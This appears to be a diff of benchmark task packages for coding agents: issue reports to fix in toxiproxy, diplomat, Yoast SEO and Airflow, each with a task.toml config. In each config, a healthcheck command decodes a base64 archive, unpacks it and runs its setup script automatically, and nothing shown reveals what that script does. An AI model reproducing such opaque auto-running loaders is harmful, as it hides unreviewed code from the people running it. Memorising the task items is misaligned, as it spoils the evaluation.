+
3
+ ## Re-POSTing to a toxic endpoint wipes out fields I didn't include in the body
4
+
5
+ I'm using toxiproxy's HTTP API to manage a latency toxic on one of my proxies from a script. First I configure it with the full set of values:
6
+
7
+ ```
8
+ POST /proxies/myproxy/upstream/toxics/latency
9
+ {"enabled": true, "latency": 1000, "jitter": 100}
10
+ ```
11
+
12
+ Later in the same script I want to temporarily disable it, so I send just the field I'm changing:
13
+
14
+ ```
15
+ POST /proxies/myproxy/upstream/toxics/latency
16
+ {"enabled": false}
17
+ ```
18
+
19
+ After the second POST, if I `GET /proxies/myproxy/upstream/toxics` I can see that `latency` and `jitter` have both been reset to `0`. So even though I only sent `enabled` in the body, the rest of the toxic's configuration got blown away.
20
+
21
+ That feels wrong — I'd expect POSTing to a toxic that's already been configured to behave like a partial update: whatever fields I send in the body get updated, and anything I omit keeps whatever value it had before. Otherwise every time I want to tweak one knob (e.g. toggle `enabled`) I have to re-send the entire configuration, and any client that doesn't remember the previous values can silently clobber them.
22
+
23
+ Same thing happens on the downstream endpoint. Could the toxic update preserve previously-set fields when the request body only contains a subset of them?
tasks/format-code-task-000248/task.toml ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ schema_version = "1.4"
2
+
3
+ [task]
4
+ name = "mimo-v2.6-rl/format-code-task-000248"
5
+ description = "Re-POSTing to a toxic endpoint wipes out fields I didn't include in the body"
6
+ keywords = ["mimo-v2.6-rl", "code"]
7
+
8
+ [metadata]
9
+ adapter = "mimo_harbor 1.1.0"
10
+ category = "Go"
11
+ domain = "code"
12
+ keywords = ["code", "Go"]
13
+ reference_harness = "XiaomiMiMo/verl a2ad9f6 + XiaomiMiMo/mimoagent 467f0a1"
14
+ reference_step_limit = 500
15
+ source_dataset = "XiaomiMiMo/MiMo-V2.6-RL-oss"
16
+ source_id = "format-code-task-000248"
17
+ source_revision = "639865fd3374018d6cb29b9fb82dd531406fcf5f"
18
+ title = "Re-POSTing to a toxic endpoint wipes out fields I didn't include in the body"
19
+
20
+ [agent]
21
+ timeout_sec = 3600.0
22
+
23
+ [verifier]
24
+ timeout_sec = 2100.0
25
+ user = "root"
26
+
27
+ [environment]
28
+ docker_image = "docker.io/xiaomimimo/mimo-v2.6-rl-oss@sha256:63c47777ae6c930bf48e41c858d91d08bfa57ecea10f1ad8c2a0fbf70ceaf00d"
29
+ workdir = "/testbed"
30
+ cpus = 2
31
+ memory_mb = 8192
32
+ network_mode = "public"
33
+ build_timeout_sec = 1800.0
34
+
35
+ [environment.healthcheck]
36
+ # one-time setup before the agent (environment/setup/setup.sh)
37
+ command = "bash -c 'test -f /var/lib/mimo/ready || { mkdir -p /var/lib/mimo && echo H4sIAAAAAAAC/+1XW2/cNhb2s37F6cRIbDeSxlm3Bmw4qLcNNgU2u4ukwC6QBgNKoiR6KFEhqRmPk/z3/UjNRbJn4u5DCyw6DDImDw/P/aZcSG7iRKp0KoWxB7/HGmOdj8f+7/jh39PvxqerfQc/HZ+ffX9A44M/YLXGMg32B3/O9YQqUSlitZlzHUrOprQOBjpyd6zgtT0OxpH/R4WwZZtEqarWoPl8Hm0Bs0ZsA2u2wm4N16mqLegPMFKVcalYtu21Sm54as0jFApIv+11D777qZVs+CoRNmnTKbeR0sUaalSrU54DxKOa2z6BaMp1zeUAPS21qkRbRYVSBXLOvx7aq860Etlu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2a7/2a7/260+//gutXB4pACgAAA== | base64 -d | tar -xzf - -C /var/lib/mimo && bash /var/lib/mimo/setup.sh; }'"
38
+ timeout_sec = 1200.0
39
+ retries = 0
40
+ interval_sec = 5.0
tasks/format-code-task-000278/instruction.md ADDED
@@ -0,0 +1,17 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Fix the following issue:
2
+
3
+ ## Feature request: query a service in a specific datacenter
4
+
5
+ I'm setting up diplomat in an org that runs Consul across multiple datacenters (e.g. `us-east-1` and `us-west-2`). From a Ruby app running in one DC I'd like to look up services that live in another DC.
6
+
7
+ Right now I'm doing something like:
8
+
9
+ ```ruby
10
+ Diplomat::Service.get('my-service', :all)
11
+ ```
12
+
13
+ which always returns whatever's registered in the local datacenter. Looking at `Diplomat::Service#get`, the only knobs on the `options` hash today are `wait` and `index` — there's no way to ask for a different DC.
14
+
15
+ Consul's HTTP catalog endpoint itself supports targeting a specific datacenter via a query parameter (see the [catalog docs](https://consul.io/docs/agent/http/catalog.html#catalog_service)), so it would be great if `Service#get` exposed that on the options hash too, in the same style as the existing `wait` / `index` entries. Then I could just pass the target datacenter alongside the service name and get back the nodes registered there.
16
+
17
+ Happy to add specs for it if useful.
tasks/format-code-task-000278/task.toml ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ schema_version = "1.4"
2
+
3
+ [task]
4
+ name = "mimo-v2.6-rl/format-code-task-000278"
5
+ description = "Feature request: query a service in a specific datacenter"
6
+ keywords = ["mimo-v2.6-rl", "code"]
7
+
8
+ [metadata]
9
+ adapter = "mimo_harbor 1.1.0"
10
+ category = "Ruby"
11
+ domain = "code"
12
+ keywords = ["code", "Ruby"]
13
+ reference_harness = "XiaomiMiMo/verl a2ad9f6 + XiaomiMiMo/mimoagent 467f0a1"
14
+ reference_step_limit = 500
15
+ source_dataset = "XiaomiMiMo/MiMo-V2.6-RL-oss"
16
+ source_id = "format-code-task-000278"
17
+ source_revision = "639865fd3374018d6cb29b9fb82dd531406fcf5f"
18
+ title = "Feature request: query a service in a specific datacenter"
19
+
20
+ [agent]
21
+ timeout_sec = 3600.0
22
+
23
+ [verifier]
24
+ timeout_sec = 2100.0
25
+ user = "root"
26
+
27
+ [environment]
28
+ docker_image = "docker.io/xiaomimimo/mimo-v2.6-rl-oss@sha256:3e4b4ed8ab9f7e5623d7ee3cd3dd50c54ad8661a3493a1c8e9cd7ab474148fc7"
29
+ workdir = "/testbed"
30
+ cpus = 2
31
+ memory_mb = 8192
32
+ network_mode = "public"
33
+ build_timeout_sec = 1800.0
34
+
35
+ [environment.healthcheck]
36
+ # one-time setup before the agent (environment/setup/setup.sh)
37
+ command = "bash -c 'test -f /var/lib/mimo/ready || { mkdir -p /var/lib/mimo && echo H4sIAAAAAAAC/+1XW2/cNhb2s37F6cRIbDeSxlm3Bmw4qLcNNgU2u4ukwC6QBgNKoiR6KFEhqRmPk/z3/UjNRbJn4u5DCyw6DDImDw/P/aZcSG7iRKp0KoWxB7/HGmOdj8f+7/jh39PvxqerfQc/HZ+ffX9A44M/YLXGMg32B3/O9YQqUSlitZlzHUrOprQOBjpyd6zgtT0OxpH/R4WwZZtEqarWoPl8Hm0Bs0ZsA2u2wm4N16mqLegPMFKVcalYtu21Sm54as0jFApIv+11D777qZVs+CoRNmnTKbeR0sUaalSrU54DxKOa2z6BaMp1zeUAPS21qkRbRYVSBXLOvx7aq860EtluhA5UaNaUQ/nawkRr+n2mwpiWm0gZE+bt3d3QktuBsyjjs4EP78PA7k5IyaJKdX/7HButbhdQQbK6GJrLq/4A3EwLgAf0O/0fRthDcCJA7T7eA2AG37n/YNMHl7aS0Y47w5lOyyjRbHbPBZalUzXjOpdq7m/+z/PfcNs2kSl/Tx6P1P/vz/9yNqz/KP9nZ/v6/4fU/29iJEycMFMGT+htWxtSdcqfEzOklbLPKXE1jpMtOflW4HJAW3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LPO9Bk0iz8cTLZTblQoee/JIPiWWdMZ6Y7IlCyBnG/PN6Jom9FnwSbE8J3p7mq5iTCz8p5CUq+36Iyoh6tbWLnzJxsF9YpHkden7XQO9TirkkMrnKBWI8RMgYFA3veIPtOKcT3E5w/xK2mrvaFTYcfdxnT7THPilygji+vtBU5w1fWJS074fn5//SqE8u3W0RzaBcNMnybVKsk2ii56tENyiFyzXyU8Qn++SzacdcUk3tJsyHbk8Q1/gXe9I6qLlSWbAR0VZqe+Rx89tvE7bxXN1U88V5YAhKW4PPPZ9ASMgjjr4gKP7Lbzo9nFGI3W4qFvjxFLptUi8YKVUcVahLKRwmBwXCVa/HJI5K73675YkCpEcnZLYofv00laslVjU49gctbVIAeOFGYaDAIVA0KN+aE3lVUtma66AFmvM5QdDcADH86Q6XTto8GXZo+nVmKT8HJcsxByvU4zFwNGTDoHyNX3iXvM2T4Jrd9lC6rNgB4f3hdDym8YbXI4a/Iqkr2hb5PKPIfhKFrPD1ohr4S1nxu7AJk740bQefoLiyqF+vo+/VoHYDhu39c/+vd63/+Et0wDX+qhzdhN6OYr2D4evHI/ZDMr8fbS8cw2m9aKVjsgkFInn0Ns/NM7IPedP0g9AdXbQcoGePVrnazjdZJ3CWC2X4NbUz4Gwpuwu64HKL5/MD4+B7DgJ8XRhQW+CigD92ciKmvmnWjaOzGkW7KdqNlN5SMgNANTKspyA0Wg0no8JObMi7GF6cvvlx0M83XBpqRG/nujf1BYFWLj57NB0zQ+zihDGk6Cg72a7/2a7/2a7/2a7/2a7/2a7/2a7/2a7/260+//gutXB4pACgAAA== | base64 -d | tar -xzf - -C /var/lib/mimo && bash /var/lib/mimo/setup.sh; }'"
38
+ timeout_sec = 1200.0
39
+ retries = 0
40
+ interval_sec = 5.0
tasks/format-code-task-000283/instruction.md ADDED
@@ -0,0 +1,60 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Fix the following issue:
2
+
3
+ New general page: FTC tab gives React warning
4
+ <!-- Please use this template when creating an issue.
5
+ - Please check the boxes after you've created your issue.
6
+ - Please use the latest version of Yoast SEO.-->
7
+
8
+ * [ ] I've read and understood the [contribution guidelines](https://github.com/Yoast/wordpress-seo/blob/trunk/.github/CONTRIBUTING.md).
9
+ * [ ] I've searched for any related issues and avoided creating a duplicate issue.
10
+
11
+ ### Please give us a description of what happened
12
+
13
+ ### To Reproduce
14
+ #### Step-by-step reproduction instructions
15
+ 1. Enable debug output (`SCRIPT_DEBUG`)
16
+ 2. Visit Yoast > General
17
+ 3. Notice the warning in the browser console:
18
+ > Warning: Failed prop type: The prop `onDiscard` is marked as required in `UnsavedChangesModal`, but its value is `undefined`.
19
+
20
+ The `useBlocker` can return `undefined` for `proceed` (and `reset`) for specific states.
21
+ See their type def in the documentation: https://reactrouter.com/en/main/hooks/use-blocker
22
+
23
+ #### Expected results
24
+ 1. No prop warnings
25
+
26
+ #### Actual results
27
+ 1. Prop warning
28
+
29
+ ### Screenshots, screen recording, code snippet
30
+ If possible, please provide a screenshot, a screen recording or a code snippet which demonstrates the bug.
31
+
32
+ ### Technical info
33
+ <!-- You can check these boxes once you've created the issue.
34
+ - If you are using Gutenberg, Elementor or the Classic Editor plugin, please make sure you have updated to the latest version.
35
+ -->
36
+ * If relevant, which editor is affected (or editors):
37
+ - [ ] Block Editor
38
+ - [ ] Gutenberg Editor
39
+ - [ ] Elementor Editor
40
+ - [ ] Classic Editor
41
+ - [ ] Other: <!-- please specify -->
42
+
43
+ <!-- You can check these boxes once you've created the issue. -->
44
+ * Which browser is affected (or browsers):
45
+ - [ ] Chrome
46
+ - [ ] Firefox
47
+ - [ ] Safari
48
+ - [ ] Other: <!-- please specify -->
49
+
50
+ #### Used versions
51
+ * Device you are using:
52
+ * Operating system:
53
+ * PHP version:
54
+ * WordPress version:
55
+ * WordPress Theme:
56
+ * Yoast SEO version:
57
+ * <!-- If relevant -->Gutenberg plugin version:
58
+ * <!-- If relevant -->Elementor plugin version:
59
+ * <!-- If relevant -->Classic Editor plugin version:
60
+ * Relevant plugins in case of a bug:
tasks/format-code-task-000410/instruction.md ADDED
@@ -0,0 +1,54 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Fix the following issue:
2
+
3
+ BigQueryToGCSOperator does not wait for completion
4
+ ### Apache Airflow Provider(s)
5
+
6
+ google
7
+
8
+ ### Versions of Apache Airflow Providers
9
+
10
+ apache-airflow-providers-google==7.0.0
11
+
12
+ ### Apache Airflow version
13
+
14
+ 2.3.2
15
+
16
+ ### Operating System
17
+
18
+ Debian GNU/Linux
19
+
20
+ ### Deployment
21
+
22
+ Official Apache Airflow Helm Chart
23
+
24
+ ### Deployment details
25
+
26
+ _No response_
27
+
28
+ ### What happened
29
+
30
+ [Deferrable mode for BigQueryToGCSOperator #27683](https://github.com/apache/airflow/pull/27683) changed the functionality of the `BigQueryToGCSOperator` so that it no longer waits for the completion of the operation. This is because the `nowait=True` parameter is now [being set](https://github.com/apache/airflow/pull/27683/files#diff-23c5b2e773487f9c28b75b511dbf7269eda1366f16dec84a349d95fa033ffb3eR191).
31
+
32
+ ### What you think should happen instead
33
+
34
+ This is unexpected behavior. Any downstream tasks of the `BigQueryToGCSOperator` that expect the CSVs to have been written by the time they are called may result in errors (and have done so in our own operations).
35
+
36
+ The property should at least be configurable.
37
+
38
+ ### How to reproduce
39
+
40
+ 1. Leverage the `BigQueryToGcsOperator` in your DAG.
41
+ 2. Have it write a large table to a CSV somewhere in GCS
42
+ 3. Notice that the task completes almost immediately but the CSVs may not exist in GCS until later.
43
+
44
+ ### Anything else
45
+
46
+ _No response_
47
+
48
+ ### Are you willing to submit PR?
49
+
50
+ - [X] Yes I am willing to submit a PR!
51
+
52
+ ### Code of Conduct
53
+
54
+ - [X] I agree to follow this project's [Code of Conduct](https://github.com/apache/airflow/blob/main/CODE_OF_CONDUCT.md)
tasks/format-code-task-000410/task.toml ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ schema_version = "1.4"
2
+
3
+ [task]
4
+ name = "mimo-v2.6-rl/format-code-task-000410"
5
+ description = "BigQueryToGCSOperator does not wait for completion"
6
+ keywords = ["mimo-v2.6-rl", "code"]
7
+
8
+ [metadata]
9
+ adapter = "mimo_harbor 1.1.0"
10
+ category = "Python"
11
+ domain = "code"
12
+ keywords = ["code", "Python"]
13
+ reference_harness = "XiaomiMiMo/verl a2ad9f6 + XiaomiMiMo/mimoagent 467f0a1"
14
+ reference_step_limit = 500
15
+ source_dataset = "XiaomiMiMo/MiMo-V2.6-RL-oss"
16
+ source_id = "format-code-task-000410"
17
+ source_revision = "639865fd3374018d6cb29b9fb82dd531406fcf5f"
18
+ title = "BigQueryToGCSOperator does not wait for completion"
19
+
20
+ [agent]
21
+ timeout_sec = 3600.0
22
+
23
+ [verifier]
24
+ timeout_sec = 2100.0
25
+ user = "root"
26
+
27
+ [environment]
28
+ docker_image = "docker.io/xiaomimimo/mimo-v2.6-rl-oss@sha256:deacb9c852ceee25d491d3e50a2514ace8b5c90035dd7615f89fd0e668f134dd"
29
+ workdir = "/testbed"
30
+ cpus = 2
31
+ memory_mb = 8192
32
+ network_mode = "public"
33
+ build_timeout_sec = 1800.0
34
+
35
+ [environment.healthcheck]
36
+ # one-time setup before the agent (environment/setup/setup.sh)
37
+ command = "bash -c 'test -f /var/lib/mimo/ready || { mkdir -p /var/lib/mimo && echo H4sIAAAAAAAC/+1XW2/cNhb2s37F6cRIbDeSxlm3Bmw4qLcNNgU2u4ukwC6QBgNKoiR6KFEhqRmPk/z3/UjNRbJn4u5DCyw6DDImDw/P/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6OYr2D4evHI/ZDMr8fbS8cw2m9aKVjsgkFInn0Ns/NM7IPedP0g9AdXbQcoGePVrnazjdZJ3CWC2X4NbUz4Gwpuwu64HKL5/MD4+B7DgJ8XRhQW+CigD92ciKmvmnWjaOzGkW7KdqNlN5SMgNANTKspyA0Wg0no8JObMi7GF6cvvlx0M83XBpqRG/nujf1BYFWLj57NB0zQ+zihDGk6Cg72a7/2a7/2a7/2a7/2a7/2a7/2a7/2a7/260+//gutXB4pACgAAA== | base64 -d | tar -xzf - -C /var/lib/mimo && bash /var/lib/mimo/setup.sh; }'"
38
+ timeout_sec = 1200.0
39
+ retries = 0
40
+ interval_sec = 5.0
tasks/format-code-task-000411/instruction.md ADDED
@@ -0,0 +1,12 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Fix the following issue:
2
+
3
+ Make `webserver_config.py` location customizable
4
+ **Description**
5
+ `webserver_config.py` location is [hard-coded](https://github.com/apache/airflow/blob/c2db0dfeb13ee679bf4d7b57874f0fcb39c0f0ed/airflow/configuration.py#L769) as follows:
6
+ ```
7
+ WEBSERVER_CONFIG = AIRFLOW_HOME + '/webserver_config.py'
8
+ ```
9
+ It would be great if this path is customizable.
10
+
11
+ **Use case / motivation**
12
+ Since `AIRFLOW_HOME/config` is already in `PYTHONPATH` (though that's also hard-coded), it's common for user to mount all config files under `AIRFLOW_HOME/config`. However, this `webserver_config.py` needs extra handling, either by mounting using a `subPath` explicitly, or in my case, creating a symbolic link from `AIRFLOW_HOME/webserver_config.py` to `AIRFLOW_HOME/config/webserver_config.py` in the image.
tasks/format-code-task-000411/task.toml ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ schema_version = "1.4"
2
+
3
+ [task]
4
+ name = "mimo-v2.6-rl/format-code-task-000411"
5
+ description = "Make `webserver_config.py` location customizable"
6
+ keywords = ["mimo-v2.6-rl", "code"]
7
+
8
+ [metadata]
9
+ adapter = "mimo_harbor 1.1.0"
10
+ category = "Python"
11
+ domain = "code"
12
+ keywords = ["code", "Python"]
13
+ reference_harness = "XiaomiMiMo/verl a2ad9f6 + XiaomiMiMo/mimoagent 467f0a1"
14
+ reference_step_limit = 500
15
+ source_dataset = "XiaomiMiMo/MiMo-V2.6-RL-oss"
16
+ source_id = "format-code-task-000411"
17
+ source_revision = "639865fd3374018d6cb29b9fb82dd531406fcf5f"
18
+ title = "Make `webserver_config.py` location customizable"
19
+
20
+ [agent]
21
+ timeout_sec = 3600.0
22
+
23
+ [verifier]
24
+ timeout_sec = 2100.0
25
+ user = "root"
26
+
27
+ [environment]
28
+ docker_image = "docker.io/xiaomimimo/mimo-v2.6-rl-oss@sha256:e884ac54c8364445483cfd8d1ad1ec5fbda03286a160d235449dc82beeaf68af"
29
+ workdir = "/testbed"
30
+ cpus = 2
31
+ memory_mb = 8192
32
+ network_mode = "public"
33
+ build_timeout_sec = 1800.0
34
+
35
+ [environment.healthcheck]
36
+ # one-time setup before the agent (environment/setup/setup.sh)
37
+ command = "bash -c 'test -f /var/lib/mimo/ready || { mkdir -p /var/lib/mimo && echo H4sIAAAAAAAC/+1XW2/cNhb2s37F6cRIbDeSxlm3Bmw4qLcNNgU2u4ukwC6QBgNKoiR6KFEhqRmPk/z3/UjNRbJn4u5DCyw6DDImDw/P/aZcSG7iRKp0KoWxB7/HGmOdj8f+7/jh39PvxqerfQc/HZ+ffX9A44M/YLXGMg32B3/O9YQqUSlitZlzHUrOprQOBjpyd6zgtT0OxpH/R4WwZZtEqarWoPl8Hm0Bs0ZsA2u2wm4N16mqLegPMFKVcalYtu21Sm54as0jFApIv+11D777qZVs+CoRNmnTKbeR0sUaalSrU54DxKOa2z6BaMp1zeUAPS21qkRbRYVSBXLOvx7aq860EtluhA5UaNaUQ/nawkRr+n2mwpiWm0gZE+bt3d3QktuBsyjjs4EP78PA7k5IyaJKdX/7HButbhdQQbK6GJrLq/4A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ec = 1200.0
39
+ retries = 0
40
+ interval_sec = 5.0
tasks/format-code-task-000416/instruction.md ADDED
@@ -0,0 +1,51 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Fix the following issue:
2
+
3
+ ### Apache Airflow Provider(s)
4
+
5
+ common-sql
6
+
7
+ ### What happened
8
+
9
+ Two unrelated annoyances around `DbApiHook` that I hit on the same DAG.
10
+
11
+ **1. `hook.placeholder` re-queries the metadata DB on every access**
12
+
13
+ I have a Postgres-backed custom hook subclassing `DbApiHook`, and a task that inserts a lot of rows via `insert_rows`. While poking at why the task is slower than I expected and why I see so much load on my Airflow metadata DB, I noticed the `placeholder` property goes through `get_connection(...)` every single time it's read. Since the insert path reads it per row to build the SQL template, every inserted row triggers a metadata DB roundtrip just to read the connection back. For a task pushing tens of thousands of rows this is very noticeable.
14
+
15
+ The connection itself isn't changing during a task — reading it once per hook instance should be enough.
16
+
17
+ **2. Warning about an invalid placeholder in `extra` is unhelpful**
18
+
19
+ In a different Connection I tried to override the placeholder via the `extra` field, e.g.
20
+
21
+ ```json
22
+ { "placeholder": ":1" }
23
+ ```
24
+
25
+ which isn't in the supported set, so it's (correctly) ignored. But the warning I get in the task log looks roughly like:
26
+
27
+ ```
28
+ Placeholder defined in Connection 'postgres_conn_id' is not listed in 'DEFAULT_SQL_PLACEHOLDERS' and got ignored. Falling back to the default placeholder '%s'.
29
+ ```
30
+
31
+ Two problems with this message:
32
+
33
+ - `'postgres_conn_id'` here is not my actual connection id — it's the literal name of the attribute on the hook class. So when I went to look up "which of my connections is misconfigured?" I couldn't find one with that id at all and got pretty confused.
34
+ - The message never tells me which placeholder value was rejected. If I had several connections / had recently edited extras, I'd want to see that `':1'` was the offending value so I can go fix the right one.
35
+
36
+ ### What you think should happen instead
37
+
38
+ - Reading `placeholder` on a hook instance shouldn't keep hammering the metadata DB; the connection lookup should only happen once per hook.
39
+ - The "invalid placeholder" warning should identify (a) the actual connection id the bad value came from and (b) the bad placeholder value itself, so it's actually actionable.
40
+
41
+ ### Versions of Apache Airflow Providers
42
+
43
+ apache-airflow-providers-common-sql (current main)
44
+
45
+ ### Deployment
46
+
47
+ Other
48
+
49
+ ### Anything else
50
+
51
+ Both are reproducible on any subclass of `DbApiHook` — the slow path just needs a bulk insert, the warning just needs an `extra` with a non-standard `placeholder`.
tasks/format-code-task-000416/task.toml ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ schema_version = "1.4"
2
+
3
+ [task]
4
+ name = "mimo-v2.6-rl/format-code-task-000416"
5
+ description = "Apache Airflow Provider(s)"
6
+ keywords = ["mimo-v2.6-rl", "code"]
7
+
8
+ [metadata]
9
+ adapter = "mimo_harbor 1.1.0"
10
+ category = "Python"
11
+ domain = "code"
12
+ keywords = ["code", "Python"]
13
+ reference_harness = "XiaomiMiMo/verl a2ad9f6 + XiaomiMiMo/mimoagent 467f0a1"
14
+ reference_step_limit = 500
15
+ source_dataset = "XiaomiMiMo/MiMo-V2.6-RL-oss"
16
+ source_id = "format-code-task-000416"
17
+ source_revision = "639865fd3374018d6cb29b9fb82dd531406fcf5f"
18
+ title = "Apache Airflow Provider(s)"
19
+
20
+ [agent]
21
+ timeout_sec = 3600.0
22
+
23
+ [verifier]
24
+ timeout_sec = 2100.0
25
+ user = "root"
26
+
27
+ [environment]
28
+ docker_image = "docker.io/xiaomimimo/mimo-v2.6-rl-oss@sha256:6079a16e2fc5b25d3dcedd6ca78b0ce510a9642e7b65bebfb66c415bdda45fbe"
29
+ workdir = "/testbed"
30
+ cpus = 2
31
+ memory_mb = 8192
32
+ network_mode = "public"
33
+ build_timeout_sec = 1800.0
34
+
35
+ [environment.healthcheck]
36
+ # one-time setup before the agent (environment/setup/setup.sh)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86Q6XTto8GXZo+nVmKT8HJcsxByvU4zFwNGTDoHyNX3iXvM2T4Jrd9lC6rNgB4f3hdDym8YbXI4a/Iqkr2hb5PKPIfhKFrPD1ohr4S1nxu7AJk740bQefoLiyqF+vo+/VoHYDhu39c/+vd63/+Et0wDX+qhzdhN6OYr2D4evHI/ZDMr8fbS8cw2m9aKVjsgkFInn0Ns/NM7IPedP0g9AdXbQcoGePVrnazjdZJ3CWC2X4NbUz4Gwpuwu64HKL5/MD4+B7DgJ8XRhQW+CigD92ciKmvmnWjaOzGkW7KdqNlN5SMgNANTKspyA0Wg0no8JObMi7GF6cvvlx0M83XBpqRG/nujf1BYFWLj57NB0zQ+zihDGk6Cg72a7/2a7/2a7/2a7/2a7/2a7/2a7/2a7/260+//gutXB4pACgAAA== | base64 -d | tar -xzf - -C /var/lib/mimo && bash /var/lib/mimo/setup.sh; }'"
38
+ timeout_sec = 1200.0
39
+ retries = 0
40
+ interval_sec = 5.0
tasks/format-code-task-000417/instruction.md ADDED
@@ -0,0 +1,30 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Fix the following issue:
2
+
3
+ ## DAGs are being deactivated after upgrade even though they are still parsed and present
4
+
5
+ After upgrading Airflow, several of my DAGs unexpectedly turned **inactive** in the UI. They no longer show up in the active list, can't be triggered, and look like they were removed — but the DAG files are still right where they always were and the DAG processor is still happily parsing them on every loop.
6
+
7
+ ### Setup
8
+
9
+ In my deployment, not all DAG files live directly under the `dags_folder` configured in `airflow.cfg`. Some of them are loaded from paths outside that directory — this is a legitimate setup for me (multiple sources of DAGs / a custom layout where the scheduler's DAG processor sees DAGs whose `fileloc` is not nested under the main `dags_folder` path). This worked fine on previous versions.
10
+
11
+ ### What I see
12
+
13
+ After the upgrade:
14
+
15
+ - The DAGs whose file path is **not** under the configured `dags_folder` get marked stale and deactivated, basically right after the scheduler starts.
16
+ - In the scheduler logs I see lines like:
17
+
18
+ ```
19
+ DAG <dag_id> is missing and will be deactivated.
20
+ ```
21
+
22
+ for every one of these DAGs, even though the file is clearly still there and is being successfully parsed (no import errors, `last_parsed_time` keeps advancing).
23
+
24
+ - DAGs whose file path **is** under the main `dags_folder` are unaffected — only the "outside" ones get killed.
25
+
26
+ ### What I expected
27
+
28
+ A DAG should only be considered stale / be deactivated when it has actually disappeared (the file is gone, or it's no longer being parsed within the stale threshold). As long as the DAG processor is still parsing the file successfully, the DAG should stay active — regardless of whether `fileloc` happens to live under the main `dags_folder` path or somewhere else.
29
+
30
+ The previous behavior (only deactivating DAGs that are genuinely missing / no longer parsed in time) is what I need back. Right now this effectively breaks any setup where DAGs come from more than one root directory.
tasks/format-code-task-000417/task.toml ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ schema_version = "1.4"
2
+
3
+ [task]
4
+ name = "mimo-v2.6-rl/format-code-task-000417"
5
+ description = "DAGs are being deactivated after upgrade even though they are still parsed and present"
6
+ keywords = ["mimo-v2.6-rl", "code"]
7
+
8
+ [metadata]
9
+ adapter = "mimo_harbor 1.1.0"
10
+ category = "Python"
11
+ domain = "code"
12
+ keywords = ["code", "Python"]
13
+ reference_harness = "XiaomiMiMo/verl a2ad9f6 + XiaomiMiMo/mimoagent 467f0a1"
14
+ reference_step_limit = 500
15
+ source_dataset = "XiaomiMiMo/MiMo-V2.6-RL-oss"
16
+ source_id = "format-code-task-000417"
17
+ source_revision = "639865fd3374018d6cb29b9fb82dd531406fcf5f"
18
+ title = "DAGs are being deactivated after upgrade even though they are still parsed and present"
19
+
20
+ [agent]
21
+ timeout_sec = 3600.0
22
+
23
+ [verifier]
24
+ timeout_sec = 2100.0
25
+ user = "root"
26
+
27
+ [environment]
28
+ docker_image = "docker.io/xiaomimimo/mimo-v2.6-rl-oss@sha256:4de1ddaa99ca52d76bcf1bc747d57298d9874fb3339d0d2012ac6036303d6217"
29
+ workdir = "/testbed"
30
+ cpus = 2
31
+ memory_mb = 8192
32
+ network_mode = "public"
33
+ build_timeout_sec = 1800.0
34
+
35
+ [environment.healthcheck]
36
+ # one-time setup before the agent (environment/setup/setup.sh)
37
+ command = "bash -c 'test -f /var/lib/mimo/ready || { mkdir -p /var/lib/mimo && echo 